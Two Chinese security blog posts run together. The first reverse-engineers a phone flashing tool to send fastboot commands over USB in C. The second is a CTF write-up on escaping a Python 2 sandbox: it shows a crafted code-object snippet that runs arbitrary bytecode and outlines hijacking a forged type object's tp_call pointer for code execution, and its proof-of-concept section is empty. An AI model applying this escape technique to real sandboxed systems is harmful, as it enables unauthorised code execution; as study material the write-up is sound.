【技术分享】如何代码实现给fastboot发消息? 逆向aftool工具纪实

2017-07-04 12:16:33

阅读:390次
点赞(0)
收藏
来源: 安全客





【技术分享】如何代码实现给fastboot发消息? 逆向aftool工具纪实

作者:Yan_1_20





【技术分享】如何代码实现给fastboot发消息? 逆向aftool工具纪实

作者:Yan_1_20

预估稿费:300RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


0x00 起因

学习android安全的朋友都应该熟悉adb,fastboot这两个工具,但是其实现方式网上却没有多少资料,在下对这些知识也非好奇,一次机会对某手机的售后刷机工具aftool进行对手机刷机时,发现了它的软件包里没有fastboot.exe,但是却执行了fastboot命令,猜测他可能自己实现了fastboot.exe的功能,就想对其进行逆向分析执行fastboot的命令的核心代码。

0x01 调试环境配置

工具:IDA ,Ollydbg,Wireshark,Source Insight3

Aftool download link:

http://pan.baidu.com/s/1c0AVz9I

Adb source code download link:

http://pan.baidu.com/s/1hrVZFxU

安装AF_UPGRADE_PKG.exe后,aftool.exe为目标文件

0x02 fastboot.exe 和fastboot 模式通信的数据包

我们手机进入fastboot, 使用wireshark 抓取usb数据包,观察数据包数量以及格式

进入fastboot的方法:

[1](命令)使用 adb reboot-bootloader [2](按键)音量减键+电源键
【技术分享】如何代码实现给fastboot发消息? 逆向aftool工具纪实

使用wireshark 捕获usb包

选择接口 android Bootloader interface


【技术分享】如何代码实现给fastboot发消息? 逆向aftool工具纪实

使用fastboot.exe 发送命令 fastboot reboot-bootloader


【技术分享】如何代码实现给fastboot发消息? 逆向aftool工具纪实

同时wireshark捕获到的数据包为:


【技术分享】如何代码实现给fastboot发消息? 逆向aftool工具纪实

URB_BULK out 的数据为:


【技术分享】如何代码实现给fastboot发消息? 逆向aftool工具纪实

URB_BULK in 的数据为:


【技术分享】如何代码实现给fastboot发消息? 逆向aftool工具纪实

可以大胆猜测 URB_BULK out 就是我们使用的fastboot的命令 fastboot reboot-bootloaderURB_BULK int 就是手机端给的回应

但是上面三个特殊的数据包 和我们发的数据没有任何关系,但是看其名称”Request,Response,Status”猜测可能是fastboot的通信协议的 建立协议的数据包

0x03 aftool.exe 和fastboot 模式通信的数据包

Aftool的使用方法:

[1]切换成高通手机 [2]点击选择按钮 加X520_recovery目录下的fastboot_flash_all.bat [3]点击下载按钮 开始执行fastboot_flash_all.bat里面的命令

对wireshark的处理方式和上面类型

捕获的数据包如下图


【技术分享】如何代码实现给fastboot发消息? 逆向aftool工具纪实

看来和fastboot的数据包格式一致,只是多发送了一条命令

现在的思路就是 Ollydbg 调试aftool ,假如执行了某个函数同时wireshark上有数据包产生那么这个函数就是通信使用的函数

0x04 逆向aftool.exe

这个工具是使用Qt编写,没有加壳子,没有加混淆,对我这种小白来说,最大的难题可能就是怎么在Qt的架构里找到”下载”按钮的处理函数了。

一开始我是没有思路的,由于不知道这个下载按钮里进行了操作,我给它下断点都不知道用什么函数下什么断点。但是想到了旁边还有一个”选择”按钮,加载bat文件肯定有文件读取的操作 于是对ReadFile 下了断点。果然断了下,然后通过回溯。找到了它的UI消息处理函数sub_4E22C0。

最后确定了sub_4E22C0 中调用的sub_4BFD30就是”下载”按钮响应事件,

在sub_4BFD30里分支比较多 但是ollydbg跟了几次之后 发现其执行的分支稳定执行

sub_4BBAF0


【技术分享】如何代码实现给fastboot发消息? 逆向aftool工具纪实

但是sub_4BBAF0的代码逻辑看起来很简单并没有多少值得注意的代码,但是在OD里跟着sub_4BBAF0 按F9就会跑起来,看来是这个函数没错,但是应该是错过了什么

在sub_4BBAF0里的下层函数sub_4B7DB0,以及sub_4B7DB0的下层函数sub_4A3F30找到了如下代码


【技术分享】如何代码实现给fastboot发消息? 逆向aftool工具纪实

可以的它开了一个线程

但是参考Qt QThread::start()的用法 这里传入的参数可能是ida的没有使用类的方式调用吧

直接用ollydbg动态调到他这里来。得到了v2[18]的值742D345e(742D345e不是定值)

接着有两个函数需要F7

742D34C2E851FFFFFFcallmsvcr90.742D3418 742D3430FF5054calldwordptrds:[eax+0x54] 恭喜最后来到了
004A411A.E8914B0000callAFTool.004A8CB0

sub_4A8CB0就是真正处理函数

接着在ollydbg IDA里跟了跟这个函数观察

//reboot-bootloader 004A908C|.E83F190000callAFTool.004AA9D0

发现AFTool.004AA9D0 这个函数就是给手机发数据的函数

004AA9D0 里最重要的就是下面的函数

004AAA58|.52|pushedx 004AAA59|.8B542434|movedx,dwordptrss:[esp+0x34];AFTool.0052D4B8 004AAA5D|.8D4C2418|leaecx,dwordptrss:[esp+0x18] 004AAA61|.51|pushecx 004AAA62|.50|pusheax 004AAA63|.8B4208|moveax,dwordptrds:[edx+0x8] 004AAA66|.55|pushebp 004AAA67|.50|pusheax 004AAA68|.FF151CC05000|calldwordptrds:[<&AdbWinApi.AdbWrite>;AdbWinAp.AdbWriteEndpointSync

堆栈如图:

esp->09A2F97800000008 09A2F97C09A2FD1CASCII"reboot-bootloader" 09A2F98000000011 09A2F98409A2F9A0 09A2F9880000027C

<注意:这个函数执行之前Wireshark里已经有了那三条特殊的数据包了,这个函数执行之后Wireshark会增加 URB_BULK out >

所以发送命令API函数就是 AdbWinAPi.dll里的导出函数 AdbWriteEndpointSync

类似的找到了发出别的4条数据包的具体函数(其实三条特殊数据包的是一个函数发的)


AdbGetSerialNumber------>GETDESCRIPTORRequestSTRING ------>GETDESCRIPTORResponseSTRING ------>GETDESCRIPTORStatus AdbReadEndpointSync------>URB_BULKin

0x05 API调用分析

现在找到了API接下来就是参考源码对这些API传入正确参数并调用了。

我们一开始假设的是前三条数据包是建立协议链接 类似socket编程accept函数返回的sock

然后AdbWriteEndpointSync 类似 send函数 使用这个sock进行通信

在源码里找了AdbWriteEndpointSync 声明(使用dll里的导出函数),调用

声明:


【技术分享】如何代码实现给fastboot发消息? 逆向aftool工具纪实

调用:


【技术分享】如何代码实现给fastboot发消息? 逆向aftool工具纪实

在usb_write 下面就是 usb_read的定义


【技术分享】如何代码实现给fastboot发消息? 逆向aftool工具纪实

通过上面的代码可以看出AdbWriteEndpointSync,AdbReadEndpointSync使用的第一个参数都是同一个结构体里的不同成员变量

这个结构体的声明如下


【技术分享】如何代码实现给fastboot发消息? 逆向aftool工具纪实

接着关于adb_write_pipe和adb_read_pipe变量的赋值

但是搜索无果,搜索调用函数usb_write的函数时,能搜索到,但是没有找到他的参数传递


【技术分享】如何代码实现给fastboot发消息? 逆向aftool工具纪实

换了一个思路对AdbGetSerialNumber调用进行了寻找


【技术分享】如何代码实现给fastboot发消息? 逆向aftool工具纪实

比起这个调用,上面的do_usb_open函数返回的handle则是引起了我的兴趣,其定义如下。


【技术分享】如何代码实现给fastboot发消息? 逆向aftool工具纪实

通过其定义可以看出,do_usb_open 里完成了对结构体usb_handle的分配已经赋值。

通过do_usb_open 返回的关键性结构体,我们就可以对AdbWriteEndpointSync 进行调用。

至于do_usb_open的参数来源 则是 上面的API AdbNextInterface进行的赋值


【技术分享】如何代码实现给fastboot发消息? 逆向aftool工具纪实

所以我们已经在源码里找到了我们需要的API的调用参数的来源。

0x06 整合代码

通过整合。得了如下的代码

<注意:一定要把AdbWinApi.dll AdbWinUsbApi.dll放到这个项目里编译>

//adb_test.cpp:定义控制台应用程序的入口点。 // #include"stdafx.h" #include<windows.h> #defineADB_MUTEX_INITIALIZERPTHREAD_MUTEX_INITIALIZER typedefvoid*ADBAPIHANDLE; typedefstruct_AdbInterfaceInfo{ ///Inteface'sclassid(seeSP_DEVICE_INTERFACE_DATAfordetails) GUIDclass_id; ///Interfaceflags(seeSP_DEVICE_INTERFACE_DATAfordetails) unsignedlongflags; ///Devicenamefortheinterface(seeSP_DEVICE_INTERFACE_DETAIL_DATA ///fordetails) wchar_tdevice_name[1]; }AdbInterfaceInfo; structusb_handle{ ///Previousentryinthelistofopenedusbhandles usb_handle*prev; ///Nextentryinthelistofopenedusbhandles usb_handle*next; ///HandletoUSBinterface ADBAPIHANDLEadb_interface; ///HandletoUSBreadpipe(endpoint) ADBAPIHANDLEadb_read_pipe; ///HandletoUSBwritepipe(endpoint) ADBAPIHANDLEadb_write_pipe; ///Interfacename char*interface_name; ///Maskfordeterminingwhentousezerolengthpackets unsignedzero_mask; }; typedefenum_AdbOpenAccessType{ ///Opensforreadandwriteaccess. AdbOpenAccessTypeReadWrite, ///Opensforreadonlyaccess. AdbOpenAccessTypeRead, ///Opensforwriteonlyaccess. AdbOpenAccessTypeWrite, ///Opensforqueryinginformation. AdbOpenAccessTypeQueryInfo, }AdbOpenAccessType; typedefenum_AdbOpenSharingMode{ ///Sharesreadandwrite. AdbOpenSharingModeReadWrite, ///Sharesonlyread. AdbOpenSharingModeRead, ///Sharesonlywrite. AdbOpenSharingModeWrite, ///Opensexclusive. AdbOpenSharingModeExclusive, }AdbOpenSharingMode; #defineANDROID_USB_CLASS_ID\ {0xf72fe0d4,0xcbcb,0x407d,{0x88,0x14,0x9e,0xd6,0x73,0xd0,0xdd,0x6b}}; structusb_ifc_info { unsigned__int16dev_vendor; unsigned__int16dev_product; unsigned__int8dev_class; unsigned__int8dev_subclass; unsigned__int8dev_protocol; unsigned__int8ifc_class; unsigned__int8ifc_subclass; unsigned__int8ifc_protocol; unsigned__int8has_bulk_in; unsigned__int8has_bulk_out; unsigned__int8writable; charserial_number[256]; chardevice_path[256]; }; typedefstruct_USB_DEVICE_DESCRIPTOR{ UCHARbLength; UCHARbDescriptorType; USHORTbcdUSB; UCHARbDeviceClass; UCHARbDeviceSubClass; UCHARbDeviceProtocol; UCHARbMaxPacketSize0; USHORTidVendor; USHORTidProduct; USHORTbcdDevice; UCHARiManufacturer; UCHARiProduct; UCHARiSerialNumber; UCHARbNumConfigurations; }USB_DEVICE_DESCRIPTOR,*PUSB_DEVICE_DESCRIPTOR; typedefstruct_USB_INTERFACE_DESCRIPTOR{ UCHARbLength; UCHARbDescriptorType; UCHARbInterfaceNumber; UCHARbAlternateSetting; UCHARbNumEndpoints; UCHARbInterfaceClass; UCHARbInterfaceSubClass; UCHARbInterfaceProtocol; UCHARiInterface; }USB_INTERFACE_DESCRIPTOR,*PUSB_INTERFACE_DESCRIPTOR; typedefint(*AdbWriteEndpointSync_)(ADBAPIHANDLE,char*,int,int*,int); typedefvoid*(*AdbCreateInterfaceByName_)(constwchar_t*); typedefvoid*(*AdbOpenDefaultBulkWriteEndpoint_)(ADBAPIHANDLE,AdbOpenAccessType,AdbOpenSharingMode); typedefbool(*AdbNextInterface_)(ADBAPIHANDLE,AdbInterfaceInfo*,unsignedlong*size); typedefvoid*(*AdbEnumInterfaces_)(GUID,bool,bool,bool); typedefADBAPIHANDLE(*AdbOpenDefaultBulkReadEndpoint_)(ADBAPIHANDLE,AdbOpenAccessType,AdbOpenSharingMode); typedefbool(*AdbGetInterfaceName_)(ADBAPIHANDLEadb_interface, void*buffer, unsignedlong*buffer_char_size, boolansi); typedefbool(*AdbCloseHandle_)(ADBAPIHANDLEadb_handle); typedefbool(*AdbGetUsbDeviceDescriptor_)(ADBAPIHANDLE,USB_DEVICE_DESCRIPTOR*); typedefbool(*AdbGetUsbInterfaceDescriptor_)(ADBAPIHANDLE,USB_INTERFACE_DESCRIPTOR*); typedefbool(*AdbGetSerialNumber_)(ADBAPIHANDLE,void*,unsignedlong*,bool); typedefbool(*AdbReadEndpointSync_)(ADBAPIHANDLE, void*, unsignedlong, unsignedlong*, unsignedlong); AdbWriteEndpointSync_AdbWriteEndpointSync; AdbCreateInterfaceByName_AdbCreateInterfaceByName; AdbOpenDefaultBulkWriteEndpoint_AdbOpenDefaultBulkWriteEndpoint; AdbNextInterface_AdbNextInterface; AdbEnumInterfaces_AdbEnumInterfaces; AdbOpenDefaultBulkReadEndpoint_AdbOpenDefaultBulkReadEndpoint; AdbGetInterfaceName_AdbGetInterfaceName; AdbCloseHandle_AdbCloseHandle; AdbGetUsbDeviceDescriptor_AdbGetUsbDeviceDescriptor; AdbGetUsbInterfaceDescriptor_AdbGetUsbInterfaceDescriptor; AdbGetSerialNumber_AdbGetSerialNumber; AdbReadEndpointSync_AdbReadEndpointSync; usb_handle*do_usb_open(constwchar_t*interface_name); voidusb_cleanup_handle(usb_handle*handle); intrecognized_device(usb_handle*handle); intmain() { intd; chargetvar[]="getvar:product"; charrebootbl[]="reboot-bootloader"; HMODULEa=LoadLibrary(L"AdbWinApi.dll"); AdbWriteEndpointSync=(AdbWriteEndpointSync_)GetProcAddress(a,"AdbWriteEndpointSync"); AdbCreateInterfaceByName=(AdbCreateInterfaceByName_)GetProcAddress(a,"AdbCreateInterfaceByName"); AdbOpenDefaultBulkWriteEndpoint=(AdbOpenDefaultBulkWriteEndpoint_)GetProcAddress(a,"AdbOpenDefaultBulkWriteEndpoint"); AdbNextInterface=(AdbNextInterface_)GetProcAddress(a,"AdbNextInterface"); AdbEnumInterfaces=(AdbEnumInterfaces_)GetProcAddress(a,"AdbEnumInterfaces"); AdbOpenDefaultBulkReadEndpoint=(AdbOpenDefaultBulkReadEndpoint_)GetProcAddress(a,"AdbOpenDefaultBulkReadEndpoint"); AdbGetInterfaceName=(AdbGetInterfaceName_)GetProcAddress(a,"AdbGetInterfaceName"); AdbCloseHandle=(AdbCloseHandle_)GetProcAddress(a,"AdbCloseHandle"); AdbGetUsbDeviceDescriptor=(AdbGetUsbDeviceDescriptor_)GetProcAddress(a,"AdbGetUsbDeviceDescriptor"); AdbGetUsbInterfaceDescriptor=(AdbGetUsbInterfaceDescriptor_)GetProcAddress(a,"AdbGetUsbInterfaceDescriptor"); AdbGetSerialNumber=(AdbGetSerialNumber_)GetProcAddress(a,"AdbGetSerialNumber"); AdbReadEndpointSync=(AdbReadEndpointSync_)GetProcAddress(a,"AdbReadEndpointSync"); usb_handle*handle=NULL; charentry_buffer[2048]; charinterf_name[2048]; charread[2048]; intArgList; AdbInterfaceInfo*next_interface=(AdbInterfaceInfo*)(&entry_buffer[0]); unsignedlongentry_buffer_size=sizeof(entry_buffer); char*copy_name; staticconstGUIDusb_class_id=ANDROID_USB_CLASS_ID; //Enumerateallpresentandactiveinterfaces. ADBAPIHANDLEenum_handle= AdbEnumInterfaces(usb_class_id,true,true,true); while(AdbNextInterface(enum_handle,next_interface,&entry_buffer_size)){ constwchar_t*wchar_name=next_interface->device_name; for(copy_name=interf_name; L'\0'!=*wchar_name; wchar_name++,copy_name++){ *copy_name=(char)(*wchar_name); } *copy_name='\0'; handle=do_usb_open(next_interface->device_name); if(recognized_device(handle)){ printf("addinganewdevice%s\n",interf_name); charserial_number[512]; unsignedlongserial_number_len=sizeof(serial_number); if(AdbGetSerialNumber(handle->adb_interface,serial_number,&serial_number_len,true)) { memset(read,0,sizeof(read)); AdbWriteEndpointSync(handle->adb_write_pipe,getvar,strlen(rebootbl),&d,0x26c); Sleep(3000); AdbReadEndpointSync(handle->adb_read_pipe,read,4096,(unsignedlong*)&ArgList,0x26c); read[strlen(read)]='\0'; printf("%s:\n",read); memset(read,0,sizeof(read)); AdbWriteEndpointSync(handle->adb_write_pipe,rebootbl,strlen(rebootbl),&d,0x26c); Sleep(3000); AdbReadEndpointSync(handle->adb_read_pipe,read,4096,(unsignedlong*)&ArgList,0x26c); read[strlen(read)]='\0'; printf("%s:\n",read); } } } //AdbWriteEndpointSync(ret->adb_write_pipe,rebootbl,strlen(rebootbl),&d,0x26c); return0; } intrecognized_device(usb_handle*handle){ if(NULL==handle) return0; //Checkvendorandproductidfirst USB_DEVICE_DESCRIPTORdevice_desc; if(!AdbGetUsbDeviceDescriptor(handle->adb_interface, &device_desc)){ return0; } //Thencheckinterfaceproperties USB_INTERFACE_DESCRIPTORinterf_desc; if(!AdbGetUsbInterfaceDescriptor(handle->adb_interface, &interf_desc)){ return0; } //Musthavetwoendpoints if(2!=interf_desc.bNumEndpoints){ return0; } //if(is_adb_interface(device_desc.idVendor,device_desc.idProduct, //interf_desc.bInterfaceClass,interf_desc.bInterfaceSubClass,interf_desc.bInterfaceProtocol)){ //if(interf_desc.bInterfaceProtocol==0x01){ //AdbEndpointInformationendpoint_info; ////assumingzeroisavalidbulkendpointID //if(AdbGetEndpointInformation(handle->adb_interface,0,&endpoint_info)){ //handle->zero_mask=endpoint_info.max_packet_size-1; //} //} return1; } voidusb_cleanup_handle(usb_handle*handle){ if(NULL!=handle){ if(NULL!=handle->interface_name) free(handle->interface_name); if(NULL!=handle->adb_write_pipe) AdbCloseHandle(handle->adb_write_pipe); if(NULL!=handle->adb_read_pipe) AdbCloseHandle(handle->adb_read_pipe); if(NULL!=handle->adb_interface) AdbCloseHandle(handle->adb_interface); handle->interface_name=NULL; handle->adb_write_pipe=NULL; handle->adb_read_pipe=NULL; handle->adb_interface=NULL; } } usb_handle*do_usb_open(constwchar_t*interface_name){ //Allocateourhandle usb_handle*ret=(usb_handle*)malloc(sizeof(usb_handle)); if(NULL==ret) returnNULL; //Setlinkersbacktothehandle ret->next=ret; ret->prev=ret; //Createinterface. ret->adb_interface=AdbCreateInterfaceByName(interface_name); //if(NULL==ret->adb_interface){ //free(ret); //errno=GetLastError(); //returnNULL; //} //Openreadpipe(endpoint) ret->adb_read_pipe= AdbOpenDefaultBulkReadEndpoint(ret->adb_interface, AdbOpenAccessTypeReadWrite, AdbOpenSharingModeReadWrite); //Openwritepipe(endpoint) ret->adb_write_pipe= AdbOpenDefaultBulkWriteEndpoint(ret->adb_interface, AdbOpenAccessTypeReadWrite, AdbOpenSharingModeReadWrite); //Saveinterfacename unsignedlongname_len=0; //Firstgetexpectednamelength AdbGetInterfaceName(ret->adb_interface, NULL, &name_len, true); if(0!=name_len){ ret->interface_name=(char*)malloc(name_len); if(NULL!=ret->interface_name){ //Nowsavethename if(AdbGetInterfaceName(ret->adb_interface, ret->interface_name, &name_len, true)){ //We'redoneatthispoint returnret; } } else{ SetLastError(ERROR_OUTOFMEMORY); } } //Somethingwentwrong. intsaved_errno=GetLastError(); usb_cleanup_handle(ret); free(ret); SetLastError(saved_errno); returnNULL; }

0x07 代码运行结果


【技术分享】如何代码实现给fastboot发消息? 逆向aftool工具纪实

其中 OKAYMSM8916是其CUP型号,为fastboot命令 getvar product的返回,OKAY是reboot-bootloader的返回,并且手机重启进入fastboot模式。说明得到的代码是完全能执行命令的核心API。




【技术分享】如何代码实现给fastboot发消息? 逆向aftool工具纪实
【技术分享】如何代码实现给fastboot发消息? 逆向aftool工具纪实
本文由 安全客 原创发布,如需转载请注明来源及本文地址。
本文地址:http://bobao.360.cn/learning/detail/4060.html

【技术分享】Python沙箱?不存在的

$
0
0
【技术分享】python沙箱?不存在的

2017-07-04 10:43:58

阅读:1044次
点赞(0)
收藏
来源: 安全客





【技术分享】Python沙箱?不存在的

作者:anciety





【技术分享】Python沙箱?不存在的

作者:anciety

预估稿费:600RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


前言

1.TCTF 2017 final Python

之前在TCTF的线下赛上碰到了Python的一道沙箱逃逸题目,虽然最后由于主办方题目上的一些疏漏导致了非预期解法的产生,但是本身真的是不错的沙箱逃逸案例,如果是按照预期解法,可以说以后别的沙箱逃逸题如果不改Python的源码感觉已经没啥可出的必要了。

题目的话,不用担心没有题目,你就想成一个除了sys模块,连file object都用不了的Python2就行了,其实用真的Python2然后自己不用这些就可以模拟这道题目啦。

Python的沙箱逃逸在之前的CTF就有出现过,不过大多是利用Python作为脚本语言的特性来逃逸,相当于换其他方式达到相同目的,比如没了file,通过别的方式拿到file,这次的题目其实也是可以这样搞的,因为stdin等等对象是file对象,可以用来拿到file对象,这样就可以做到在服务器上进行任意读写,之后比如可以写/proc/self/mem或者编译一个c写的python module然后写到/tmp里之后考虑去import,这些其实都是非预期解法,预期解法就相当有意思了,用的方法是通过Python的字节码来获取,这里我们也就需要重点讲这个方面的内容了。

2.Python沙箱?不存在的

作为前言的一小部分,我还想提一个问题,python,到底有没有沙箱?

其实这跟我看过的一个presentation,演讲者问台下,chroot到底是不是安全机制,是一个道理。python我个人认为,没有沙箱这一说。我估计我这么说应该好多人不同意,但是事实就是python在设计的时候根本没有考虑这方面的因素,原因?一会我们看看代码就知道了。


调试环境

os: manjaro linux 17.01

python: python2.7.13 debug版本(自己编译的),更改了两个可能在debug下出错的地方,主要是ceval.c:825,改为release版本的写法,还有924行,这一段的define都改为没有LLTRACE的写法。


Python虚拟机原理

1.对象

Python的虚拟机的源码有一个很典型的特点,那就是一切皆对象。虽然代码是用C写的,但是面向对象的思路倒是用的非常细致,我们首先来看几个典型的对象:

PyObject:https://github.com/python/cpython/blob/2.7/Include/object.h

首先总结以下Python object的基本特点:

1)除了Type Object(一会提到),其他object一律分配在堆上;

2)object都有引用计数来确保垃圾回收功能的正常;

3)Object有一个type,创建时候一个object的type就固定了,type自己也是object,这就是Type Object;

4)Object的内存和地址保持不变,如果是变量的,通过指向变量内存的指针实现;

5)Object的类型是PyObject *。

实现:

/*堆对象的双向链表作为pyobject的结构体开始部分*/ #define_PyObject_HEAD_EXTRA\ struct_object*_ob_next;\ struct_object*_ob_prev; /*真正的pyobject结构开始部分*/ #definePyObject_HEAD\ _PyObject_HEAD_EXTRA\ Py_ssize_tob_refcnt;\ struct_typeobject*ob_type; /*带有变大小容器的object的头部(结构体开始部分)*/ #definePyObject_VAR_HEAD\ PyObject_HEAD\ Py_ssize_tob_size;/*可变部分个体的数量*/ /*object*/ typedefstruct_object{ PyObject_HEAD }PyObject; /*带有变大小容器(带有大小可变指针的对象*/ typedefstruct{ PyObject_VAR_HEAD }PyVarObject; /*每一个Python对象的结构体开始部分(模拟了面向对象的继承)*/ #definePyObject_HEADPyObjectob_base; /*变量对象,同理*/ #definePyObject_VAR_HEADPyVarObjectob_base;

这部分主要是PyObject的定义和PyVarObject的定义,是Python中对象的内部表示。

至于Type Object由于代码较长,我认为对理解运行原理帮助也不大,就不截下来了,最主要的就是需要理解用来表示一个Python对象的类型的也是一个对象。

至于用来检查对象类型的方法:

#definePy_TYPE(ob)(((PyObject*)(ob))->ob_type) 可以看出,检查方法也就是通过ob,也就是在PyObject_HEAD里的信息来检查。

2.code对象

通过之前的讨论,我们知道了Python对对象的表示方式,只要在结构体里最开始部分写 PyObject_HEAD 或者 PyObject_VAR_HEAD 就可以是一个PyObject或者PyVarObject对象了。那么Python代码是怎么表示的呢?

答案就是——code对象:https://github.com/python/cpython/blob/2.7/Include/code.h

/*字节码对象*/ /*Bytecodeobject*/ typedefstruct{ PyObject_HEAD intco_argcount;/*除了*args以外的参数*/ intco_nlocals;/*局部变量*/ intco_stacksize; intco_flags; PyObject*co_code;/*字节码*/ PyObject*co_consts; PyObject*co_names; PyObject*co_varnames; PyObject*co_freevars; PyObject*co_cellvars; PyObject*co_filename; PyObject*co_name; intco_firstlineno; PyObject*co_lnotab; void*co_zombieframe; PyObject*co_weakreflist; }PyCodeObject; /*检查一个对象是不是code对象*/ #definePyCode_Check(op)(Py_TYPE(op)==&PyCode_Type) /*创建一个PyCode的接口,和后文CodeType创建PyCode一致*/ PyAPI_FUNC(PyCodeObject*)PyCode_New( int,int,int,int,PyObject*,PyObject*,PyObject*,PyObject*,PyObject*,PyObject*,PyObject*,PyObject*,int,PyObject*);

这里的代码不是太有意思我就不解释了,从这里我们可以知道两点:

1)一个PyCode对象包含了一段代码对于Python来说所需要的所有信息,其中比较重要的是字节码;

2)检查一个PyCode对象的类型是通过检查HEAD部分的内容的,HEAD的内容是在创建PyCode的时候指定的,根据之前对象的原则,创建之后就不再改变了。

3.运行原理

运行有关代码:https://github.com/python/cpython/blob/2.7/Python/ceval.c

其中用来运行的代码_PyEval_EvalFrameDefault, 从第1199行的switch(opcode)即是运行的主要部分,通过不同的opcode进行不同的操作。

其实整个Python的运行过程就是首先通过compile构建一个PyCodeObject,得到代码的字节码,之后根据不同的字节码进行不同的操作,过程还是比较简单的。

由于Python是基于栈的,所以会看到一系列操作stack的函数,其实就理解成一个栈结构,这个栈结构里存的是一系列对象就可以了。


搞事情

1.运行任意字节码

好了,原理讲的差不多了,大家应该都明白Python大致的运行机制了,那么我们就结合这个机制来思考一下。

Python的运行是首先compile得到PyCodeObject对吧,那么,PyCodeObject里边的字节码决定了执行什么样的字节码对吧,如果,我能够控制这个字节码,是不是就可以执行我想要的字节码了?

答案是,对的。而且Python并不限制你这么做,毕竟动态语言嘛,你想干嘛也拦不住你。想要操作这个字节码也很简单,types就可以,我们现在来试试。

#接口 #types.CodeType(argcount,nlocals,stacksize,flags,codestring,constants,names, #varnames,filename,name,firstlineno,lnotab[,freevars[,cellvars]]) fromopcodeimportopmap importtypes defcode_object(): pass code_object.func_code=types.CodeType( 0,0,0,0, chr(opmap['LOAD_CONST'])+'\xef\xbe', (),(),(), "","",0,"" ) code_object()

这里最重要的就是codestring,是字节码的字符串表示,其他的都不是太重要(注意不要直接复制我这一段代码运行,UTF-8的问题,加个UTF-8或者删掉中文可以运行),然后我们运行试试。

[anciety@anciety-pctemp]$python2testpython.py Segmentationfault(coredumped)

seg fault了,不出所料,原因?

我们来调试一下。这里我自己下源码编译了一个有debug符号和源码的Python2.7方便调试。

TARGET(LOAD_CONST){ PyObject*value=GETITEM(consts,oparg); Py_INCREF(value); PUSH(value); FAST_DISPATCH(); }

这是解析LOAD_CONST字节码的内容,可以看到首先通过GETITEM得到code object中consts和oparg的参数的内容,之后处理引用计数,然后PUSH了相应的值!

GETITEM是从一个tuple中去取出值,我们看看segfault的地方:

1227TARGET(LOAD_CONST) 1228{ 1229x=GETITEM(consts,oparg); →1230Py_INCREF(x); 1231PUSH(x); 1232FAST_DISPATCH(); 1233} 1234 gefprintoparg $4=0xbeef

0xbeef就是我们输入的值,也就是说我们控制了GETITEM的参数。这里就说明了一个很大的问题:我们是可以控制运行的字节码的。最后segfault的原因嘛,这个值取不了,有问题,于是就segfault了。

其实到这,针对Python沙箱的论述也差不多了,毕竟我们已经可以控制运行的字节码,但是毕竟我们最终的目的是拿到shell对吧,那么接下来怎么做?

2.从运行任意字节码到任意代码执行

1)基本思路

好了,我们可以执行任意字节码了,不过还不够。如何执行任意代码?我们需要一个函数指针,反正啥都可以改,我们改掉这个函数指针就可以了。我们也十分幸运,恰巧就有这么一个神奇的函数指针:

https://github.com/python/cpython/blob/5eb788bf7f54a8e04429e18fc332db858edd64b6/Objects/call.c

PyObject* PyObject_Call(PyObject*callable,PyObject*args,PyObject*kwargs) { ternaryfunccall; PyObject*result; /*PyObject_Call()mustnotbecalledwithanexception set,becauseitcanclearit(directlyorindirectly) andsothecallerlosesitsexception*/ assert(!PyErr_Occurred()); assert(PyTuple_Check(args)); assert(kwargs==NULL||PyDict_Check(kwargs)); if(PyFunction_Check(callable)){ return_PyFunction_FastCallDict(callable, &PyTuple_GET_ITEM(args,0), PyTuple_GET_SIZE(args), kwargs); } elseif(PyCFunction_Check(callable)){ returnPyCFunction_Call(callable,args,kwargs); } else{ call=callable->ob_type->tp_call; if(call==NULL){ PyErr_Format(PyExc_TypeError,"'%.200s'objectisnotcallable", callable->ob_type->tp_name); returnNULL; } if(Py_EnterRecursiveCall("whilecallingaPythonobject")) returnNULL; result=(*call)(callable,args,kwargs);/*快看!一个漂亮大方的函数指针!*/ Py_LeaveRecursiveCall(); return_Py_CheckFunctionResult(callable,result,NULL); } }

好了函数指针有了,现在总结一下调用到函数指针的整个流程:

ceval.c:https://github.com/python/cpython/blob/2.7/Python/ceval.c

TARGET(CALL_FUNCTION) { PyObject**sp; PCALL(PCALL_ALL); sp=stack_pointer; x=call_function(&sp,oparg);/*这里进call_function*/ staticPyObject* call_function(PyObject***pp_stack,intoparg) { intna=oparg&0xff; intnk=(oparg>>8)&0xff; intn=na+2*nk; PyObject**pfunc=(*pp_stack)-n-1; PyObject*func=*pfunc; PyObject*x,*w; if(PyCFunction_Check(func)&&nk==0){ [...] }else{ if(PyMethod_Check(func)&&PyMethod_GET_SELF(func)!=NULL){ [...] }else Py_INCREF(func); if(PyFunction_Check(func)) //don'tcare else x=do_call(func,pp_stack,na,nk);/*这里进do_call*/ } [...] } staticPyObject* do_call(PyObject*func,PyObject***pp_stack,intna,intnk) { if(nk>0){ [...] if(kwdict==NULL) gotocall_fail; } callargs=load_args(pp_stack,na); if(callargs==NULL) gotocall_fail; if(PyCFunction_Check(func)){ [...] } else result=PyObject_Call(func,callargs,kwdict);/*找到地方了*/ call_fail: [...] }

总结一下需要调用到函数指针的过程:

i.字节码类型是CALL_FUNCTION,进入call_function;

ii.call_function中,PyCFunction_Check或者nk==0不成立,之后PyMethod_Check或者PyMethod_GET_SELF(func) != NULL不成立,然后PyFunction_Check不成立,进入do_call;

iii.do_call中PyCFunction_Check不成立,进入PyOBject_Call;

iv.PyObject_call中,func的ob_type的tp_call就是我们要调用的函数指针。

看代码有点烦,通俗地讲:

i.字节码是CALL_FUNCTION;

ii.不是function类型也不是method类型,不过是object类型;

iii.这个object类型的type object里的tp_call就是调用的函数指针。

这么看就简单多了,type object虽然是一开始静态分配的,但是反正又不检查,不是静态分配又如何?伪造一个嘛。

2)最终思路

i.构造一个object,构造为type object的形式,不过tp_call指向想要执行的位置;

ii.构造第二个object,使得type指向第一个object;

iii.构造第三个object,指针指向第二个object;

iv.构造字节码:1.通过extended_arg构造offset参数,offset为consts和第三个object的偏移,2.通过load_const指令,由于按照consts是tuple,会再解一次引用,于是使得第二个object被push进栈,3.通过call_function,进入调用过程;

v.将字节码设置进入某个function的func_code;

vi.执行这个function,即执行我们构造好的func_code。

3)poc.py

